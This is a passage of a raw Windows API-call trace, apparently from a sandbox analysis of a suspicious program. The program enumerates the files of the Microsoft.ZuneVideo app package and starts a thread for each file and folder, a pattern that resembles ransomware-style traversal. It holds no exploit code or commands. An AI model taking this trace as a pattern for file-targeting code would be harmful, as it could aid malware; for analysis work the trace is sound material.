	[0089.890] wcscmp (_String1="Assets", _String2=".") returned 1
	[0089.890] wcscmp (_String1="Assets", _String2="..") returned 1
	[0089.890] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x47eb348
	[0089.890] wcscpy (in: _Dest=0x47eb348, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe"
	[0089.890] wcscat (in: _Dest=0x47eb348, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\"
	[0089.890] wcscat (in: _Dest=0x47eb348, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\Assets"
	[0089.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47eb348, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fc0
	[0089.891] FindNextFileW (in: hFindFile=0x46a7e98, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc676e57, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc676e57, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc676e57, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0089.891] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0089.891] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0089.891] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11c) returned 0x4730008
	[0089.891] wcscpy (in: _Dest=0x4730008, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe"
	[0089.891] wcscat (in: _Dest=0x4730008, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\"
	[0089.891] wcscat (in: _Dest=0x4730008, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0089.891] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4730008, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fc4
	[0089.892] FindNextFileW (in: hFindFile=0x46a7e98, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x443b1640, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x443b1640, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x443b1640, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x950, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0089.892] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0089.892] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0089.892] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4777760
	[0089.892] wcscpy (in: _Dest=0x4777760, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe"
	[0089.892] wcscat (in: _Dest=0x4777760, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\"
	[0089.892] wcscat (in: _Dest=0x4777760, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\resources.pri"
	[0089.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4777760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fc8
	[0089.893] FindNextFileW (in: hFindFile=0x46a7e98, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x443b1640, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x443b1640, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x443b1640, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x950, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0089.893] FindClose (in: hFindFile=0x46a7e98 | out: hFindFile=0x46a7e98) returned 1
	[0089.894] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5030f10) returned 1
	[0089.894] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47230b8) returned 1
	[0089.894] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477e9d0) returned 1

Thread:
	id = 1063
	os_tid = 0x1d0c

	[0082.748] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x481ba08
	[0082.748] wcscpy (in: _Dest=0x481ba08, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe"
	[0082.748] wcscat (in: _Dest=0x481ba08, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\"
	[0082.748] wcscat (in: _Dest=0x481ba08, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\*"
	[0082.748] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502ed60
	[0082.748] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x502ed60 | out: lpFindFileData=0x502ed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42af40a7, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc676e57, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc676e57, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7ed8
	[0082.749] wcscmp (_String1=".", _String2=".") returned 0
	[0082.749] FindNextFileW (in: hFindFile=0x46a7ed8, lpFindFileData=0x502ed60 | out: lpFindFileData=0x502ed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42af40a7, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc676e57, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc676e57, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.749] wcscmp (_String1="..", _String2=".") returned 1
	[0082.749] wcscmp (_String1="..", _String2="..") returned 0
	[0082.749] FindNextFileW (in: hFindFile=0x46a7ed8, lpFindFileData=0x502ed60 | out: lpFindFileData=0x502ed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b1a300, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x42b4055a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x42b4055a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xf44b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.749] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.749] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.749] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x46a66e8
	[0082.749] wcscpy (in: _Dest=0x46a66e8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe"
	[0082.749] wcscat (in: _Dest=0x46a66e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\"
	[0082.749] wcscat (in: _Dest=0x46a66e8, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0089.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x46a66e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1698
	[0089.879] FindNextFileW (in: hFindFile=0x46a7ed8, lpFindFileData=0x502ed60 | out: lpFindFileData=0x502ed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b1a300, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x42b1a300, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x42b1a300, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x38a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0089.879] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0089.879] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0089.879] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x477c968
	[0089.879] wcscpy (in: _Dest=0x477c968, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe"
	[0089.879] wcscat (in: _Dest=0x477c968, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\"
	[0089.880] wcscat (in: _Dest=0x477c968, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0089.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477c968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f98
	[0089.880] FindNextFileW (in: hFindFile=0x46a7ed8, lpFindFileData=0x502ed60 | out: lpFindFileData=0x502ed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42b667b3, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb4e04e1f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x42b667b3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0089.880] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0089.880] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0089.880] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47e9500
	[0089.880] wcscpy (in: _Dest=0x47e9500, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe"
	[0089.880] wcscat (in: _Dest=0x47e9500, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\"
	[0089.880] wcscat (in: _Dest=0x47e9500, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0089.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47e9500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f9c
	[0089.881] FindNextFileW (in: hFindFile=0x46a7ed8, lpFindFileData=0x502ed60 | out: lpFindFileData=0x502ed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b4055a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x42b667b3, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x42b667b3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2998, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0089.881] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0089.881] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0089.881] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x477d538
	[0089.881] wcscpy (in: _Dest=0x477d538, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe"
	[0089.881] wcscat (in: _Dest=0x477d538, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\"
	[0089.881] wcscat (in: _Dest=0x477d538, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0089.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477d538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fa0
	[0089.882] FindNextFileW (in: hFindFile=0x46a7ed8, lpFindFileData=0x502ed60 | out: lpFindFileData=0x502ed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42b667b3, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb4e05885, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43432dd6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0089.882] wcscmp (_String1="Assets", _String2=".") returned 1
	[0089.882] wcscmp (_String1="Assets", _String2="..") returned 1
	[0089.882] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2de60
	[0089.882] wcscpy (in: _Dest=0x4f2de60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe"
	[0089.882] wcscat (in: _Dest=0x4f2de60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\"
	[0089.882] wcscat (in: _Dest=0x4f2de60, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\Assets"
	[0089.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4f2de60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fa4
	[0089.883] FindNextFileW (in: hFindFile=0x46a7ed8, lpFindFileData=0x502ed60 | out: lpFindFileData=0x502ed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43432dd6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4377950e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4377950e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x7b4970, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntCommon.dll", cAlternateFileName="")) returned 1
	[0089.883] wcscmp (_String1="EntCommon.dll", _String2=".") returned 1
	[0089.883] wcscmp (_String1="EntCommon.dll", _String2="..") returned 1
	[0089.883] FindNextFileW (in: hFindFile=0x46a7ed8, lpFindFileData=0x502ed60 | out: lpFindFileData=0x502ed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4377950e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x43a9a68b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x43a9a68b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x8e7f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntPlat.dll", cAlternateFileName="")) returned 1
	[0089.883] wcscmp (_String1="EntPlat.dll", _String2=".") returned 1
	[0089.883] wcscmp (_String1="EntPlat.dll", _String2="..") returned 1
	[0089.883] FindNextFileW (in: hFindFile=0x46a7ed8, lpFindFileData=0x502ed60 | out: lpFindFileData=0x502ed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43a9a68b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x43ae6b3d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x43ae6b3d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa4570, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntSyncFx.dll", cAlternateFileName="")) returned 1
	[0089.883] wcscmp (_String1="EntSyncFx.dll", _String2=".") returned 1
	[0089.883] wcscmp (_String1="EntSyncFx.dll", _String2="..") returned 1
	[0089.883] FindNextFileW (in: hFindFile=0x46a7ed8, lpFindFileData=0x502ed60 | out: lpFindFileData=0x502ed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43b0cd9b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x43b0cd9b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x43b0cd9b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5bf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="gnsdk_fp.dll", cAlternateFileName="")) returned 1
	[0089.883] wcscmp (_String1="gnsdk_fp.dll", _String2=".") returned 1
	[0089.883] wcscmp (_String1="gnsdk_fp.dll", _String2="..") returned 1
	[0089.883] FindNextFileW (in: hFindFile=0x46a7ed8, lpFindFileData=0x502ed60 | out: lpFindFileData=0x502ed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43b0cd9b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb4f45932, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43b0cd9b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Images", cAlternateFileName="")) returned 1
	[0089.883] wcscmp (_String1="Images", _String2=".") returned 1
	[0089.883] wcscmp (_String1="Images", _String2="..") returned 1
	[0089.883] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2daa0
	[0089.883] wcscpy (in: _Dest=0x4f2daa0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe"
	[0089.883] wcscat (in: _Dest=0x4f2daa0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\"
	[0089.883] wcscat (in: _Dest=0x4f2daa0, _Source="Images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\Images") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\Images"
	[0089.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4f2daa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fa8
	[0089.884] FindNextFileW (in: hFindFile=0x46a7ed8, lpFindFileData=0x502ed60 | out: lpFindFileData=0x502ed60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc676e57, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x8ee4b0ec, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x8ee4b0ec, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0089.884] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0089.884] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0089.884] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x2d89a40
	[0089.884] wcscpy (in: _Dest=0x2d89a40, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe"
	[0089.884] wcscat (in: _Dest=0x2d89a40, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\"
	[0089.884] wcscat (in: _Dest=0x2d89a40, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0089.884] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d89a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fac
